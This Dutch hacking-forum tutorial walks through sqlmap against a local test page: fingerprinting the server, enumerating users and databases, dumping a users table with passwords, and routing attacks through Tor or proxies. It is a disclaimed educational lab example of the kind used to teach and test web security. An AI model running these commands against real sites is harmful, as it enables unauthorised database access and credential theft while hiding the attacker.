Hoe hack je met Sqlmap - Dutch version

Alle tutorials m.b.t hacken.
Dit forum wordt gemodereerd door: Moderator
Plaats reactie
CyberRat
Site Admin
Berichten: 7
Lid geworden op: 09-08-2013 09:19

Hoe hack je met Sqlmap - Dutch version

Bericht door CyberRat » 09-08-2013 10:43

Deze tutorial leert je de basic functionaliteiten van sqlmap.

WAARSCHUWING!
Deze tutorial is alleen bedoeld voor educatieve doeleinden. Het is streng verboden om de tutorial en de informatie in deze tutorial te gebruiken voor andere (illegale) doeleinden. Het is uitsluitend toegestaan om de informatie uit deze tutorial te gebruiken en/of toe te passen als alle betrokken partijen/mensen hiervoor toestemming hebben gegeven. Het is streng verboden om de informatie uit deze tutorial te gebruiken op apparatuur (en andere eigendommen) van andere mensen zonder dat deze mensen hiervoor toestemming hebben gegeven.
HackFlag, de eigenaar/oprichter van HackFlag, het bestuur van HackFlag en ik zelf zijn op geen enkele voorwaarde aansprakelijk voor de eventuele schade in welke vorm dan ook die kan worden opgelopen bij het gebruik van (de informatie uit) deze tutorial. Indien blijkt dat jij deze informatie hebt misbruikt kun je geschorst worden van HackFlag.

Inleiding
Sqlmap is een tool om sql-injecties automatisch mee uit te voeren. Het word standaard met BackTrack 5 meegeleverd. Het ondersteunt o.a. meerdere database types (MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB) en download/upload mogelijkheden. Deze tutorial is geschreven voor het gebruik op een linux systeem. Ik zal alles zo duidelijk mogelijk proberen te omschrijven.

Disclaimer #2
Het gebruik van een automatische tool zoals deze word afgeraden als je nog niet weet hoe 'SQLI' werkt. Als je nog geen handmatige sql injecties kunt uitvoeren is het aan te raden je dit eerst goed gaat oefenen. Ook is het niet slim om dit op echte websites te proberen, want dit is verboden zonder de toestemming van de eigenaar. Zelfs dan is het niet helemaal duidelijk. Ik citeer:

Code:
Een goede waiver vermeldt daarbij óók dat de opdrachtgever die toestemming mag geven en gecheckt heeft bij zijn partners en leveranciers dat het oké is. Want je zult de eerste niet zijn die wel toestemming heeft van de website-eigenaar maar niet van de datacentrum-beheerder waarin de server staat. En als de sysadmin daar een inbraakpoging detecteert en aangifte doet, heb je echt een probleem.

Vereisten

Kennis van sql, sqli en apache/IIS webservers.
Kennis van http(s) connecties
Enige kennis met Unix systemen.


Installatie
Eerste stap is natuurlijk om sqlmap te downloaden.
Code:
wget https://github.com/sqlmapproject/sqlmap/tarball/master

Daarna moet je het bestand uitpakken.
Code:
tar -zxvf master

Nu het is uitgepakt kun je in de directory gaan. Bij jou heet de directory misschien anders.
Code:
cd sqlmapproject-sqlmap-a6eeebf

In deze directory zit het bestand 'sqlmap.py'. sqlmap is een tool geschreven in python waardoor je het niet hoeft te installeren. Python is een scripting language dat word geïnterpreteerd door een zogenoemde 'interpreter'.

Probeer het programma eens uit door het te runnen:
Code:
./sqlmap.py

De opties
Door de '-hh' parameter mee te geven krijg je een lijst met opties te zien.
Code:
./sqlmap.py -hh

Ik zal er een paar uitleggen:

-u : 'URL' - Voor het webaddress
-v : 'Verbose' - Om sqlmap meer informatie te laten outputten in je terminal
-b : 'Banner' - Haalt de informatie over de database op.
--random-agent : Gebruik een random user agent uit de sqlmap user agent lijst.
--current-user : Laat zien onder welke user je zit in de database.
--privileges : Laat zien welke permissies de user heeft waar je onder zit.
--current-db : Laat zien in welke database je zit.
--dbs : Laat zien welke databases er aanwezig zijn.
--tables : Laat zien welke tables er aanwezig zijn.
--columns : Laat zien welke columns er aanwezig zijn.
-D : 'DB' : Aangeven welke database je wilt gebruiken.
-T : 'TBL' : Aangeven welke table je wilt gebruiken in een database.
-C : 'COL' : Aangeven welke column je wilt gebruiken in een table uit een database.
--dump-all : Dump alle informatie die in een database,table of column zit.
--dump : Dump sommige informatie die in een database,table of column zit.
--proxy : Stel een HTTP proxy in om te gebruiken.
--os-shell : Probeer een shell te uploaden waarin je commands kunt geven.
--sql-shell : Je krijgt een sql shell waarin je sql commands kunt invoeren met de permissies van de mysql user waaronder je zit.
--file-read : Download een bestand van de server.
--file-write : Upload een bestand naar de server.
--file-dest : Gebruikt met de optie hierboven, om aan te geven waar het bestand naartoe moet.
--Threads : Hoe meer threads, hoe sneller het gaat. Maar kijk uit, je kunt ook de verbinding/webserver overbelasten.


Leef je nog? Ok! Gaan we nu verder met een voorbeeld.

Het voorbeeld
Ik heb een website gevonden die informatie kan laten zien over een gebruiker.
[Image: vMMe4.png]

Deze blijkt echter kwetsbaar te zijn voor sql injection!

Om dit met sqlmap te testen kun je dit invoeren:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --banner

Output:
Code:
[*] starting at 15:35:27

[15:35:27] [INFO] fetched random HTTP User-Agent header from file '/sqlmapproject-sqlmap-a6eeebf/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0
[15:35:27] [INFO] testing connection to the target url
[15:35:27] [INFO] heuristics detected web page charset 'ascii'
[15:35:27] [INFO] testing if the url is stable, wait a few seconds
[15:35:28] [INFO] url is stable
[15:35:28] [INFO] testing if GET parameter 'id' is dynamic
[15:35:28] [INFO] confirming that GET parameter 'id' is dynamic
[15:35:28] [INFO] GET parameter 'id' is dynamic
...etc
[15:36:00] [INFO] the back-end DBMS is MySQL
[15:36:00] [INFO] fetching banner
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0.11
banner: '5.5.24-0ubuntu0.12.04.1'

Zoals je ziet heeft het een useragent uitgekozen, het kwetsbare variable gevonden en de server banner kunnen ophalen met de versies waar de server op loopt via sqli.

Nu kunnen we verder gaan met kijken onder welke user het loopt.

Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --current-user

Output:
Code:
current user: current user: 'root@localhost'

Oei, die draait op root! Eens zien welke users er nog meer zijn:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --users

Output:
Code:
database management system users [170]:
[*] ''@'testbox'
[*] ''@'localhost'
[*] 'debian-sys-maint'@'localhost'
[*] 'gebruiker'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'testbox'
[*] 'root'@'localhost'

Met de code hieronder kun je kijken welke privileges alle gebruikers hebben. Dit is ons geval echter niet belangerijk, want we zijn al root.
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --privileges

We gaan verder met het opvragen van alle databases:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --dbs

Output:
Code:
available databases [5]:
[*] db1
[*] db2
[*] information_schema
[*] mysql
[*] performance_schema

We kiezen 'db1' en vragen de tables op:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 -D db1 --tables

Output:
Code:
Database: db1
[1 table]
+-------+
| users |
+-------+

Nu gaan we de inhoud van de tabel 'users' opvragen:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 -D db1 -T users --columns

Output:
Code:
Database: db1
Table: users
[4 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| hobbies | text |
| id | int(255) |
| password | tinytext |
| user | tinytext |
+----------+----------+

Nu zien we de columns van de table 'users'. Om te kijken wat voor informatie deze column heeft kun je de parameter '--columns' vervangen door '--dump-all'.
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 -D db1 -T users --dump-all

Output:
Code:
Database: db1
Table: users
[3 entries]
+----+------------+------------------------------------+--------------------------------------+
| id | user | hobbies | password |
+----+------------+------------------------------------+--------------------------------------+
| 0 | gebruiker1 | varen, boogschieten | heelgeheimenzo |
| 1 | gebruiker2 | fietsen, hardlopen en films kijken | god |
| 2 | admin | gebruikers bannen | ik_ben_de_beste_admin_die_er_bestaat |
+----+------------+------------------------------------+--------------------------------------+

En als je alleen de 'user' en 'password' wilt opvragen:
Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 -D db1 -T users -C user,password --dump

In de meeste gevallen zullen de passwords (hopelijk) ge-encrypt zijn met bijvoorbeeld MD5 of sha256. Sqlmap zal dit detecteren en je vragen of je een dictionairy attack er op wilt uitvoeren. Dit is echter af te raden want daar zijn betere programmas voor. Automatisch worden alle sessies opgeslagen in je sqlmap directory onder /output/.

Proxies
Je kunt met sqlmap ook gebruik maken van een HTTP proxies. Deze kun je vinden door op Google erna te zoeken. Je kunt ook Tor als proxy gebruiken. Let wel op, Tor is een Socks proxy. Geen HTTP proxy. Daarvoor heb je een ander programma als Polipo of Privoxy voor nodig om HTTP verkeer door te sturen naar Tor. Hier zijn genoeg tutorials over te vinden op het internet. Een voorbeeld om sqlmap met een proxy te gebruiken:

Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --tor

sqlmap gaat ervanuit dat je dan een HTTP proxy op localhost poort 8118 hebt, die alles forward naar tor.

Om enkel een HTTP proxy te gebruiken kun je dit doen:

Code:
./sqlmap.py -u "http://127.0.0.1/lijst.php?id=0" --random-agent --threads=2 --PROXY="127.0.0.1:8118"

Conclusie
Zoals je kunt zien is Sqlmap een sterke tool op het gebied van sql injecties. Het is erg makkelijk te installeren en loopt op elk Unix/Windows systeem dat Python heeft. Daarnaast kun je ook gebruik maken van Google Dorks om injecties te vinden, alhoewel ik dat de blackhat kant vind opgaan. Probeer zelf de andere opties uit zou ik zeggen, daar zijn er zeker genoeg van. Web-developers moeten zich altijd goed beschermen tegen ongeldige user input.
Ik wist niet of dit onder tools of bij website hacken moest Smile

Je kunt ook via Backtrack 5 Sqlmap gebruiken

Credits to hackflag

Plaats reactie